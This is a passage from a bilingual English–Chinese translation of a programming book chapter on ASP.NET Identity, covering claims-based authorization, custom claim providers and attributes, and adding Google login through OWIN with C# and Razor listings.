ASP.NET platform. 还有一些可用的其它成员，但表中的这些是在Web应用程序中最常用的，随着我演示如何将声明（Claims）融入更宽泛的ASP.NET平台，它们为什么最常用就很显然了。 In Listing 15-12, I cast the IIdentity implementation to the ClaimsIdentity type and pass the enumeration of Claim objects returned by the ClaimsIdentity.Claims property to the View method. A Claim object represents a single piece of data about the user, and the Claim class defines the properties shown in Table 15-6. 在清单15-12中，我将IIdentity实现转换成了ClaimsIdentity类型，并且给View方法传递了ClaimsIdentity.Claims属性所返回的Claim对象的枚举。Claim对象所示表示的是关于用户的一个单一的数据片段，Claim类定义的属性如表15-6所示。 Table 15-6. The Properties Defined by the Claim Class 表15-6. Claim类定义的属性 Name 名称 Description 描述 Issuer Returns the name of the system that provided the claim 返回提供声明（Claim）的系统名称 Subject Returns the ClaimsIdentity object for the user who the claim refers to 返回声明（Claim）所指用户的ClaimsIdentity对象 Type Returns the type of information that the claim represents 返回声明（Claim）所表示的信息类型 Value Returns the piece of information that the claim represents 返回声明（Claim）所表示的信息片段 Listing 15-13 shows the contents of the Index.cshtml file that I created in the Views/Claims folder and that is rendered by the Index action of the Claims controller. The view adds a row to a table for each claim about the user. 清单15-13显示了我在Views/Claims文件夹中创建的Index.cshtml文件的内容，它由Claims控制器中的Index动作方法进行渲染。该视图为用户的每项声明（Claim）添加了一个表格行。 Listing 15-13. The Contents of the Index.cshtml File in the Views/Claims Folder 清单15-13. Views/Claims文件夹中Index.cshtml文件的内容 @using System.Security.Claims@using Users.Infrastructure@model IEnumerable<Claim>@{ ViewBag.Title = "Claims"; }<div class="panel panel-primary"><div class="panel-heading">Claims</div><table class="table table-striped"><tr><th>Subject</th><th>Issuer</th><th>Type</th><th>Value</th></tr>@foreach (Claim claim in Model.OrderBy(x => x.Type)) {<tr><td>@claim.Subject.Name</td><td>@claim.Issuer</td><td>@Html.ClaimType(claim.Type)</td><td>@claim.Value</td></tr>}</table></div> The value of the Claim.Type property is a URI for a Microsoft schema, which isn’t especially useful. The popular schemas are used as the values for fields in the System.Security.Claims.ClaimTypes class, so to make the output from the Index.cshtml view easier to read, I added an HTML helper to the IdentityHelpers.cs file, as shown in Listing 15-14. It is this helper that I use in the Index.cshtml file to format the value of the Claim.Type property. Claim.Type属性的值是一个微软模式（Microsoft Schema）的URI（统一资源标识符），这是特别有用的。System.Security.Claims.ClaimTypes类中字段的值使用的是流行模式（Popular Schema），因此为了使Index.cshtml视图的输出更易于阅读，我在IdentityHelpers.cs文件中添加了一个HTML辅助器，如清单15-14所示。Index.cshtml文件正是使用这个辅助器格式化了Claim.Type属性的值。 Listing 15-14. Adding a Helper to the IdentityHelpers.cs File 清单15-14. 在IdentityHelpers.cs文件中添加辅助器 using System.Web;using System.Web.Mvc;using Microsoft.AspNet.Identity.Owin;using System;using System.Linq;using System.Reflection;using System.Security.Claims;namespace Users.Infrastructure {public static class IdentityHelpers {public static MvcHtmlString GetUserName(this HtmlHelper html, string id) {AppUserManager mgr= HttpContext.Current.GetOwinContext().GetUserManager<AppUserManager>();return new MvcHtmlString(mgr.FindByIdAsync(id).Result.UserName);} public static MvcHtmlString ClaimType(this HtmlHelper html, string claimType) {FieldInfo[] fields = typeof(ClaimTypes).GetFields();foreach (FieldInfo field in fields) {if (field.GetValue(null).ToString() == claimType) {return new MvcHtmlString(field.Name);} }return new MvcHtmlString(string.Format("{0}",claimType.Split('/', '.').Last()));} }} Note The helper method isn’t at all efficient because it reflects on the fields of the ClaimType class for each claim that is displayed, but it is sufficient for my purposes in this chapter. You won’t often need to display the claim type in real applications. 注：该辅助器并非十分有效，因为它只是针对每个要显示的声明（Claim）映射出ClaimType类的字段，但对我要的目的已经足够了。在实际项目中不会经常需要显示声明（Claim）的类型。 To see why I have created a controller that uses claims without really explaining what they are, start the application, authenticate as the user Alice (with the password MySecret), and request the /Claims/Index URL. Figure 15-5 shows the content that is generated. 为了弄明白我为何要先创建一个使用声明（Claims）的控制器，而没有真正解释声明（Claims）是什么的原因，可以启动应用程序，以用户Alice进行认证（其口令是MySecret），并请求/Claims/Index URL。图15-5显示了生成的内容。 Figure 15-5. The output from the Index action of the Claims controller 图15-5. Claims控制器中Index动作的输出 It can be hard to make out the detail in the figure, so I have reproduced the content in Table 15-7. 这可能还难以认识到此图的细节，为此我在表15-7中重列了其内容。 Table 15-7. The Data Shown in Figure 15-5 表15-7. 图15-5中显示的数据 Subject（科目） Issuer（发行者） Type（类型） Value（值） Alice LOCAL AUTHORITY SecurityStamp Unique ID Alice LOCAL AUTHORITY IdentityProvider ASP.NET Identity Alice LOCAL AUTHORITY Role Employees Alice LOCAL AUTHORITY Role Users Alice LOCAL AUTHORITY Name Alice Alice LOCAL AUTHORITY NameIdentifier Alice’s user ID The table shows the most important aspect of claims, which is that I have already been using them when I implemented the traditional authentication and authorization features in Chapter 14. You can see that some of the claims relate to user identity (the Name claim is Alice, and the NameIdentifier claim is Alice’s unique user ID in my ASP.NET Identity database). 此表展示了声明（Claims）最重要的方面，这些是我在第14章中实现传统的认证和授权特性时，一直在使用的信息。可以看出，有些声明（Claims）与用户标识有关（Name声明是Alice，NameIdentifier声明是Alice在ASP.NET Identity数据库中的唯一用户ID号）。 Other claims show membership of roles—there are two Role claims in the table, reflecting the fact that Alice is assigned to both the Users and Employees roles. There is also a claim about how Alice has been authenticated: The IdentityProvider is set to ASP.NET Identity. 其他声明（Claims）显示了角色成员——表中有两个Role声明（Claim），体现出Alice被赋予了Users和Employees两个角色这一事实。还有一个是Alice已被认证的声明（Claim）：IdentityProvider被设置到了ASP.NET Identity。 The difference when this information is expressed as a set of claims is that you can determine where the data came from. The Issuer property for all the claims shown in the table is set to LOCAL AUTHORITY, which indicates that the user’s identity has been established by the application. 当这种信息被表示成一组声明（Claims）时的差别是，你能够确定这些数据是从哪里来的。表中所显示的所有声明的Issuer属性（发布者）都被设置到了LOACL AUTHORITY（本地授权），这说明该用户的标识是由应用程序建立的。 So, now that you have seen some example claims, I can more easily describe what a claim is. A claim is any piece of information about a user that is available to the application, including the user’s identity and role memberships. And, as you have seen, the information I have been defining about my users in earlier chapters is automatically made available as claims by ASP.NET Identity. 因此，现在你已经看到了一些声明（Claims）示例，我可以更容易地描述声明（Claim）是什么了。一项声明（Claim）是可用于应用程序中的有关用户的一个信息片段，包括用户的标识以及角色成员等。而且，正如你所看到的，我在前几章定义的关于用户的信息，被ASP.NET Identity自动地作为声明（Claims）了。 15.3.2 Creating and Using Claims 15.3.2 创建和使用声明（Claims） Claims are interesting for two reasons. The first reason is that an application can obtain claims from multiple sources, rather than just relying on a local database for information about the user. You will see a real example of this when I show you how to authenticate users through a third-party system in the “Using Third-Party Authentication” section, but for the moment I am going to add a class to the example project that simulates a system that provides claims information. Listing 15-15 shows the contents of the LocationClaimsProvider.cs file that I added to the Infrastructure folder. 声明（Claims）比较有意思的原因有两个。第一个原因是应用程序可以从多个来源获取声明（Claims），而不是只能依靠本地数据库关于用户的信息。你将会看到一个实际的示例，在“使用第三方认证”小节中，将演示如何通过第三方系统来认证用户。不过，此刻我只打算在示例项目中添加一个类，用以模拟一个提供声明（Claims）信息的系统。清单15-15显示了我添加到Infrastructure文件夹中LocationClaimsProvider.cs文件的内容。 Listing 15-15. The Contents of the LocationClaimsProvider.cs File 清单15-15. LocationClaimsProvider.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public static class LocationClaimsProvider {public static IEnumerable<Claim> GetClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.Name.ToLower() == "alice") {claims.Add(CreateClaim(ClaimTypes.PostalCode, "DC 20500"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "DC"));} else {claims.Add(CreateClaim(ClaimTypes.PostalCode, "NY 10036"));claims.Add(CreateClaim(ClaimTypes.StateOrProvince, "NY"));}return claims;}private static Claim CreateClaim(string type, string value) {return new Claim(type, value, ClaimValueTypes.String, "RemoteClaims");} }} The GetClaims method takes a ClaimsIdentity argument and uses the Name property to create claims about the user’s ZIP code and state. This class allows me to simulate a system such as a central HR database, which would be the authoritative source of location information about staff, for example. GetClaims方法以ClaimsIdentity为参数，并使用Name属性创建了关于用户ZIP码（邮政编码）和州府的声明（Claims）。上述这个类使我能够模拟一个诸如中心化的HR数据库（人力资源数据库）之类的系统，它可能会成为全体职员的地点信息的权威数据源。 Claims are associated with the user’s identity during the authentication process, and Listing 15-16 shows the changes I made to the Login action method of the Account controller to call the LocationClaimsProvider class. 在认证过程期间，声明（Claims）是与用户标识关联在一起的，清单15-16显示了我对Account控制器中Login动作方法所做的修改，以便调用LocationClaimsProvider类。 Listing 15-16. Associating Claims with a User in the AccountController.cs File 清单15-16. AccountController.cs文件中用户用声明的关联 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... You can see the effect of the location claims by starting the application, authenticating as a user, and requesting the /Claim/Index URL. Figure 15-6 shows the claims for Alice. You may have to sign out and sign back in again to see the change. 为了看看这个地点声明（Claims）的效果，可以启动应用程序，以一个用户进行认证，并请求/Claim/Index URL。图15-6显示了Alice的声明（Claims）。你可能需要退出，然后再次登录才会看到发生的变化。 Figure 15-6. Defining additional claims for users 图15-6. 定义用户的附加声明 Obtaining claims from multiple locations means that the application doesn’t have to duplicate data that is held elsewhere and allows integration of data from external parties. The Claim.Issuer property tells you where a claim originated from, which helps you judge how accurate the data is likely to be and how much weight you should give the data in your application. Location data obtained from a central HR database is likely to be more accurate and trustworthy than data obtained from an external mailing list provider, for example. 从多个地点获取声明（Claims）意味着应用程序不必复制其他地方保持的数据，并且能够与外部的数据集成。Claim.Issuer属性（图15-6中的Issuer数据列——译者注）能够告诉你一个声明（Claim）的发源地，这有助于让你判断数据的精确程度，也有助于让你决定这类数据在应用程序中的权重。例如，从中心化的HR数据库获取的地点数据可能要比外部邮件列表提供器获取的数据更为精确和可信。 1. Applying Claims 1. 运用声明（Claims） The second reason that claims are interesting is that you can use them to manage user access to your application more flexibly than with standard roles. The problem with roles is that they are static, and once a user has been assigned to a role, the user remains a member until explicitly removed. This is, for example, how long-term employees of big corporations end up with incredible access to internal systems: They are assigned the roles they require for each new job they get, but the old roles are rarely removed. (The unexpectedly broad systems access sometimes becomes apparent during the investigation into how someone was able to ship the contents of the warehouse to their home address—true story.) 声明（Claims）有意思的第二个原因是，你可以用它们来管理用户对应用程序的访问，这要比标准的角色管理更为灵活。角色的问题在于它们是静态的，而且一旦用户已经被赋予了一个角色，该用户便是一个成员，直到明确地删除为止。例如，这意味着大公司的长期雇员，对内部系统的访问会十分惊人：他们每次在获得新工作时，都会赋予所需的角色，但旧角色很少被删除。（在调查某人为何能够将仓库里的东西发往他的家庭地址过程中发现，有时会出现异常宽泛的系统访问——真实的故事） Claims can be used to authorize users based directly on the information that is known about them, which ensures that the authorization changes when the data changes. The simplest way to do this is to generate Role claims based on user data that are then used by controllers to restrict access to action methods. Listing 15-17 shows the contents of the ClaimsRoles.cs file that I added to the Infrastructure. 声明（Claims）可以直接根据用户已知的信息对用户进行授权，这能够保证当数据发生变化时，授权也随之而变。此事最简单的做法是根据用户数据来生成Role声明（Claim），然后由控制器用来限制对动作方法的访问。清单15-17显示了我添加到Infrastructure中的ClaimsRoles.cs文件的内容。 Listing 15-17. The Contents of the ClaimsRoles.cs File 清单15-17. ClaimsRoles.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public class ClaimsRoles {public static IEnumerable<Claim> CreateRolesFromClaims(ClaimsIdentity user) {List<Claim> claims = new List<Claim>();if (user.HasClaim(x => x.Type == ClaimTypes.StateOrProvince&& x.Issuer == "RemoteClaims" && x.Value == "DC")&& user.HasClaim(x => x.Type == ClaimTypes.Role&& x.Value == "Employees")) {claims.Add(new Claim(ClaimTypes.Role, "DCStaff"));}return claims;} }} The gnarly looking CreateRolesFromClaims method uses lambda expressions to determine whether the user has a StateOrProvince claim from the RemoteClaims issuer with a value of DC and a Role claim with a value of Employees. If the user has both claims, then a Role claim is returned for the DCStaff role. Listing 15-18 shows how I call the CreateRolesFromClaims method from the Login action in the Account controller. CreateRolesFromClaims是一个粗糙的考察方法，它使用了Lambda表达式，以检查用户是否具有StateOrProvince声明（Claim），该声明来自于RemoteClaims发行者（Issuer），值为DC。也检查用户是否具有Role声明（Claim），其值为Employees。如果用户这两个声明都有，那么便返回一个DCStaff角色的Role声明。清单15-18显示了如何在Account控制器中的Login动作中调用CreateRolesFromClaims方法。 Listing 15-18. Generating Roles Based on Claims in the AccountController.cs File 清单15-18. 在AccountController.cs中根据声明生成角色 ...[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(LocationClaimsProvider.GetClaims(ident)); ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident));AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);}... I can then restrict access to an action method based on membership of the DCStaff role. Listing 15-19 shows a new action method I added to the Claims controller to which I have applied the Authorize attribute. 然后我可以根据DCStaff角色的成员，来限制对一个动作方法的访问。清单15-19显示了在Claims控制器中添加的一个新的动作方法，在该方法上已经运用了Authorize注解属性。 Listing 15-19. Adding a New Action Method to the ClaimsController.cs File 清单15-19. 在ClaimsController.cs文件中添加一个新的动作方法 using System.Security.Claims;using System.Web;using System.Web.Mvc;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [Authorize(Roles="DCStaff")]public string OtherAction() {return "This is the protected action";} }} Users will be able to access OtherAction only if their claims grant them membership to the DCStaff role. Membership of this role is generated dynamically, so a change to the user’s employment status or location information will change their authorization level. 只要用户的声明（Claims）承认他们是DCStaff角色的成员，那么他们便能访问OtherAction动作。该角色的成员是动态生成的，因此，若是用户的雇用状态或地点信息发生变化，也会改变他们的授权等级。 提示：请读者从这个例子中吸取其中的思想精髓。对于读物的理解程度，仁者见仁，智者见智，能领悟多少，全凭各人，译者感觉这里的思想有无数的可能。举例说明：（1）可以根据用户的身份进行授权，比如学生在校时是“学生”，毕业后便是“校友”；（2）可以根据用户所处的部门进行授权，人事部用户属于人事团队，销售部用户属于销售团队，各团队有其自己的应用；（3）下一小节的示例是根据用户的地点授权。简言之：一方面用户的各种声明（Claim）都可以用来进行授权；另一方面用户的声明（Claim）又是可以自定义的。于是可能的运用就无法估计了。总之一句话，这种基于声明的授权（Claims-Based Authorization）有无限可能！要是没有我这里的提示，是否所有读者在此处都会有所体会？——译者注 15.3.3 Authorizing Access Using Claims 15.3.3 使用声明（Claims）授权访问 The previous example is an effective demonstration of how claims can be used to keep authorizations fresh and accurate, but it is a little indirect because I generate roles based on claims data and then enforce my authorization policy based on the membership of that role. A more direct and flexible approach is to enforce authorization directly by creating a custom authorization filter attribute. Listing 15-20 shows the contents of the ClaimsAccessAttribute.cs file, which I added to the Infrastructure folder and used to create such a filter. 前面的示例有效地演示了如何用声明（Claims）来保持新鲜和准确的授权，但有点不太直接，因为我要根据声明（Claims）数据来生成了角色，然后强制我的授权策略基于角色成员。一个更直接且灵活的办法是直接强制授权，其做法是创建一个自定义的授权过滤器注解属性。清单15-20演示了ClaimsAccessAttribute.cs文件的内容，我将它添加在Infrastructure文件夹中，并用它创建了这种过滤器。 Listing 15-20. The Contents of the ClaimsAccessAttribute.cs File 清单15-20. ClaimsAccessAttribute.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Infrastructure {public class ClaimsAccessAttribute : AuthorizeAttribute {public string Issuer { get; set; }public string ClaimType { get; set; }public string Value { get; set; }protected override bool AuthorizeCore(HttpContextBase context) {return context.User.Identity.IsAuthenticated&& context.User.Identity is ClaimsIdentity&& ((ClaimsIdentity)context.User.Identity).HasClaim(x =>x.Issuer == Issuer && x.Type == ClaimType && x.Value == Value);} }} The attribute I have defined is derived from the AuthorizeAttribute class, which makes it easy to create custom authorization policies in MVC framework applications by overriding the AuthorizeCore method. My implementation grants access if the user is authenticated, the IIdentity implementation is an instance of ClaimsIdentity, and the user has a claim with the issuer, type, and value matching the class properties. Listing 15-21 shows how I applied the attribute to the Claims controller to authorize access to the OtherAction method based on one of the location claims created by the LocationClaimsProvider class. 我所定义的这个注解属性派生于AuthorizeAttribute类，通过重写AuthorizeCore方法，很容易在MVC框架应用程序中创建自定义的授权策略。在这个实现中，若用户是已认证的、其IIdentity实现是一个ClaimsIdentity实例，而且该用户有一个带有issuer、type以及value的声明（Claim），它们与这个类的属性是匹配的，则该用户便是允许访问的。清单15-21显示了如何将这个注解属性运用于Claims控制器，以便根据LocationClaimsProvider类创建的地点声明（Claim），对OtherAction方法进行授权访问。 Listing 15-21. Performing Authorization on Claims in the ClaimsController.cs File 清单15-21. 在ClaimsController.cs文件中执行基于声明的授权 using System.Security.Claims;using System.Web;using System.Web.Mvc;using Users.Infrastructure;namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} } [ClaimsAccess(Issuer="RemoteClaims", ClaimType=ClaimTypes.PostalCode,Value="DC 20500")]public string OtherAction() {return "This is the protected action";} }} My authorization filter ensures that only users whose location claims specify a ZIP code of DC 20500 can invoke the OtherAction method. 这个授权过滤器能够确保只有地点声明（Claim）的邮编为DC 20500的用户才能请求OtherAction方法。 15.4 Using Third-Party Authentication 15.4 使用第三方认证 One of the benefits of a claims-based system such as ASP.NET Identity is that any of the claims can come from an external system, even those that identify the user to the application. This means that other systems can authenticate users on behalf of the application, and ASP.NET Identity builds on this idea to make it simple and easy to add support for authenticating users through third parties such as Microsoft, Google, Facebook, and Twitter. 基于声明的系统，如ASP.NET Identity，的好处之一是任何声明都可以来自于外部系统，即使是将用户标识到应用程序的那些声明。这意味着其他系统可以代表应用程序来认证用户，而ASP.NET Identity就建立在这样的思想之上，使之能够简单而方便地添加第三方认证用户的支持，如微软、Google、Facebook、Twitter等。 There are some substantial benefits of using third-party authentication: Many users will already have an account, users can elect to use two-factor authentication, and you don’t have to manage user credentials in the application. In the sections that follow, I’ll show you how to set up and use third-party authentication for Google users, which Table 15-8 puts into context. 使用第三方认证有一些实际的好处：许多用户已经有了账号、用户可以选择使用双因子认证、你不必在应用程序中管理用户凭据等等。在以下小节中，我将演示如何为Google用户建立并使用第三方认证，表15-8描述了事情的情形。 Table 15-8. Putting Third-Party Authentication in Context 表15-8. 第三方认证情形 Question 问题 Answer 回答 What is it? 什么是第三方认证？ Authenticating with third parties lets you take advantage of the popularity of companies such as Google and Facebook. 第三方认证使你能够利用流行公司，如Google和Facebook，的优势。 Why should I care? 为何要关心它？ Users don’t like having to remember passwords for many different sites. Using a provider with large-scale adoption can make your application more appealing to users of the provider’s services. 用户不喜欢记住许多不同网站的口令。使用大范围适应的提供器可使你的应用程序更吸引有提供器服务的用户。 How is it used by the MVC framework? 如何在MVC框架中使用它？ This feature isn’t used directly by the MVC framework. 这不是一个直接由MVC框架使用的特性。 Note The reason I have chosen to demonstrate Google authentication is that it is the only option that doesn’t require me to register my application with the authentication service. You can get details of the registration processes required at http://bit.ly/1cqLTrE. 提示：我选择演示Google认证的原因是，它是唯一不需要在其认证服务中注册我应用程序的公司。有关认证服务注册过程的细节，请参阅http://bit.ly/1cqLTrE。 15.4.1 Enabling Google Authentication 15.4.1 启用Google认证 ASP.NET Identity comes with built-in support for authenticating users through their Microsoft, Google, Facebook, and Twitter accounts as well more general support for any authentication service that supports OAuth. The first step is to add the NuGet package that includes the Google-specific additions for ASP.NET Identity. Enter the following command into the Package Manager Console: ASP.NET Identity带有通过Microsoft、Google、Facebook以及Twitter账号认证用户的内建支持，并且对于支持OAuth的认证服务具有更普遍的支持。第一个步骤是添加NuGet包，包中含有用于ASP.NET Identity的Google专用附件。请在“Package Manager Console（包管理器控制台）”中输入以下命令： Install-Package Microsoft.Owin.Security.Google -version 2.0.2 There are NuGet packages for each of the services that ASP.NET Identity supports, as described in Table 15-9. 对于ASP.NET Identity支持的每一种服务都有相应的NuGet包，如表15-9所示。 Table 15-9. The NuGet Authenticaton Packages 表15-9. NuGet认证包 Name 名称 Description 描述 Microsoft.Owin.Security.Google Authenticates users with Google accounts 用Google账号认证用户 Microsoft.Owin.Security.Facebook Authenticates users with Facebook accounts 用Facebook账号认证用户 Microsoft.Owin.Security.Twitter Authenticates users with Twitter accounts 用Twitter账号认证用户 Microsoft.Owin.Security.MicrosoftAccount Authenticates users with Microsoft accounts 用Microsoft账号认证用户 Microsoft.Owin.Security.OAuth Authenticates users against any OAuth 2.0 service 根据任一OAuth 2.0服务认证用户 Once the package is installed, I enable support for the authentication service in the OWIN startup class, which is defined in the App_Start/IdentityConfig.cs file in the example project. Listing 15-22 shows the change that I have made. 一旦安装了这个包，便可以在OWIN启动类中启用此项认证服务的支持，启动类的定义在示例项目的App_Start/IdentityConfig.cs文件中。清单15-22显示了所做的修改。 Listing 15-22. Enabling Google Authentication in the IdentityConfig.cs File 清单15-22. 在IdentityConfig.cs文件中启用Google认证 using Microsoft.AspNet.Identity;using Microsoft.Owin;using Microsoft.Owin.Security.Cookies;using Owin;using Users.Infrastructure;using Microsoft.Owin.Security.Google;namespace Users {public class IdentityConfig {public void Configuration(IAppBuilder app) {app.CreatePerOwinContext<AppIdentityDbContext>(AppIdentityDbContext.Create);app.CreatePerOwinContext<AppUserManager>(AppUserManager.Create);app.CreatePerOwinContext<AppRoleManager>(AppRoleManager.Create); app.UseCookieAuthentication(new CookieAuthenticationOptions {AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie,LoginPath = new PathString("/Account/Login"),}); app.UseExternalSignInCookie(DefaultAuthenticationTypes.ExternalCookie);app.UseGoogleAuthentication();} }} Each of the packages that I listed in Table 15-9 contains an extension method that enables the corresponding service. The extension method for the Google service is called UseGoogleAuthentication, and it is called on the IAppBuilder implementation that is passed to the Configuration method. 表15-9所列的每个包都含有启用相应服务的扩展方法。用于Google服务的扩展方法名称为UseGoogleAuthentication，它通过传递给Configuration方法的IAppBuilder实现进行调用。 Next I added a button to the Views/Account/Login.cshtml file, which allows users to log in via Google. You can see the change in Listing 15-23. 下一步骤是在Views/Account/Login.cshtml文件中添加一个按钮，让用户能够通过Google进行登录。所做的修改如清单15-23所示。 Listing 15-23. Adding a Google Login Button to the Login.cshtml File 清单15-23. 在Login.cshtml文件中添加Google登录按钮 @model Users.Models.LoginModel@{ ViewBag.Title = "Login";}<h2>Log In</h2> @Html.ValidationSummary()@using (Html.BeginForm()) {@Html.AntiForgeryToken();<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><div class="form-group"><label>Name</label>@Html.TextBoxFor(x => x.Name, new { @class = "form-control" })</div><div class="form-group"><label>Password</label>@Html.PasswordFor(x => x.Password, new { @class = "form-control" })</div><button class="btn btn-primary" type="submit">Log In</button>}@using (Html.BeginForm("GoogleLogin", "Account")) {<input type="hidden" name="returnUrl" value="@ViewBag.returnUrl" /><button class="btn btn-primary" type="submit">Log In via Google</button>} The new button submits a form that targets the GoogleLogin action on the Account controller. You can see this method—and the other changes I made the controller—in Listing 15-24. 新按钮递交一个表单，目标是Account控制器中的GoogleLogin动作。可从清单15-24中看到该方法，以及在控制器中所做的其他修改。 Listing 15-24. Adding Support for Google Authentication to the AccountController.cs File 清单15-24. 在AccountController.cs文件中添加Google认证支持 using System.Threading.Tasks;using System.Web.Mvc;using Users.Models;using Microsoft.Owin.Security;using System.Security.Claims;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Infrastructure;using System.Web; namespace Users.Controllers {[Authorize]public class AccountController : Controller {[AllowAnonymous]public ActionResult Login(string returnUrl) {if (HttpContext.User.Identity.IsAuthenticated) {return View("Error", new string[] { "Access Denied" });}ViewBag.returnUrl = returnUrl;return View();}[HttpPost][AllowAnonymous][ValidateAntiForgeryToken]public async Task<ActionResult> Login(LoginModel details, string returnUrl) {if (ModelState.IsValid) {AppUser user = await UserManager.FindAsync(details.Name,details.Password);if (user == null) {ModelState.AddModelError("", "Invalid name or password.");} else {ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie); ident.AddClaims(LocationClaimsProvider.GetClaims(ident));ident.AddClaims(ClaimsRoles.CreateRolesFromClaims(ident)); AuthManager.SignOut();AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false}, ident);return Redirect(returnUrl);} }ViewBag.returnUrl = returnUrl;return View(details);} [HttpPost][AllowAnonymous]public ActionResult GoogleLogin(string returnUrl) {var properties = new AuthenticationProperties {RedirectUri = Url.Action("GoogleLoginCallback",new { returnUrl = returnUrl})};HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();}[AllowAnonymous]public async Task<ActionResult> GoogleLoginCallback(string returnUrl) {ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();AppUser user = await UserManager.FindAsync(loginInfo.Login);if (user == null) {user = new AppUser {Email = loginInfo.Email,UserName = loginInfo.DefaultUserName,City = Cities.LONDON, Country = Countries.UK};IdentityResult result = await UserManager.CreateAsync(user);if (!result.Succeeded) {return View("Error", result.Errors);} else {result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);if (!result.Succeeded) {return View("Error", result.Errors);} }}ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties {IsPersistent = false }, ident);return Redirect(returnUrl ?? "/");}[Authorize]public ActionResult Logout() {AuthManager.SignOut();return RedirectToAction("Index", "Home");}private IAuthenticationManager AuthManager {get {return HttpContext.GetOwinContext().Authentication;} }private AppUserManager UserManager {get {return HttpContext.GetOwinContext().GetUserManager<AppUserManager>();} }} } The GoogleLogin method creates an instance of the AuthenticationProperties class and sets the RedirectUri property to a URL that targets the GoogleLoginCallback action in the same controller. The next part is a magic phrase that causes ASP.NET Identity to respond to an unauthorized error by redirecting the user to the Google authentication page, rather than the one defined by the application: GoogleLogin方法创建了AuthenticationProperties类的一个实例，并为RedirectUri属性设置了一个URL，其目标为同一控制器中的GoogleLoginCallback动作。下一个部分是一个神奇阶段，通过将用户重定向到Google认证页面，而不是应用程序所定义的认证页面，让ASP.NET Identity对未授权的错误进行响应： ...HttpContext.GetOwinContext().Authentication.Challenge(properties, "Google");return new HttpUnauthorizedResult();... This means that when the user clicks the Log In via Google button, their browser is redirected to the Google authentication service and then redirected back to the GoogleLoginCallback action method once they are authenticated. 这意味着，当用户通过点击Google按钮进行登录时，浏览器被重定向到Google的认证服务，一旦在那里认证之后，便被重定向回GoogleLoginCallback动作方法。 I get details of the external login by calling the GetExternalLoginInfoAsync of the IAuthenticationManager implementation, like this: 我通过调用IAuthenticationManager实现的GetExternalLoginInfoAsync方法，我获得了外部登录的细节，如下所示： ...ExternalLoginInfo loginInfo = await AuthManager.GetExternalLoginInfoAsync();... The ExternalLoginInfo class defines the properties shown in Table 15-10. ExternalLoginInfo类定义的属性如表15-10所示： Table 15-10. The Properties Defined by the ExternalLoginInfo Class 表15-10. ExternalLoginInfo类所定义的属性 Name 名称 Description 描述 DefaultUserName Returns the username 返回用户名 Email Returns the e-mail address 返回E-mail地址 ExternalIdentity Returns a ClaimsIdentity that identities the user 返回标识该用户的ClaimsIdentity Login Returns a UserLoginInfo that describes the external login 返回描述外部登录的UserLoginInfo I use the FindAsync method defined by the user manager class to locate the user based on the value of the ExternalLoginInfo.Login property, which returns an AppUser object if the user has been authenticated with the application before: 我使用了由用户管理器类所定义的FindAsync方法，以便根据ExternalLoginInfo.Login属性的值对用户进行定位，如果用户之前在应用程序中已经认证，该属性会返回一个AppUser对象： ...AppUser user = await UserManager.FindAsync(loginInfo.Login);... If the FindAsync method doesn’t return an AppUser object, then I know that this is the first time that this user has logged into the application, so I create a new AppUser object, populate it with values, and save it to the database. I also save details of how the user logged in so that I can find them next time: 如果FindAsync方法返回的不是AppUser对象，那么我便知道这是用户首次登录应用程序，于是便创建了一个新的AppUser对象，填充该对象的值，并将其保存到数据库。我还保存了用户如何登录的细节，以便下次能够找到他们： ...result = await UserManager.AddLoginAsync(user.Id, loginInfo.Login);... All that remains is to generate an identity the user, copy the claims provided by Google, and create an authentication cookie so that the application knows the user has been authenticated: 剩下的事情只是生成该用户的标识了，拷贝Google提供的声明（Claims），并创建一个认证Cookie，以使应用程序知道此用户已认证： ...ClaimsIdentity ident = await UserManager.CreateIdentityAsync(user,DefaultAuthenticationTypes.ApplicationCookie);ident.AddClaims(loginInfo.ExternalIdentity.Claims);AuthManager.SignIn(new AuthenticationProperties { IsPersistent = false }, 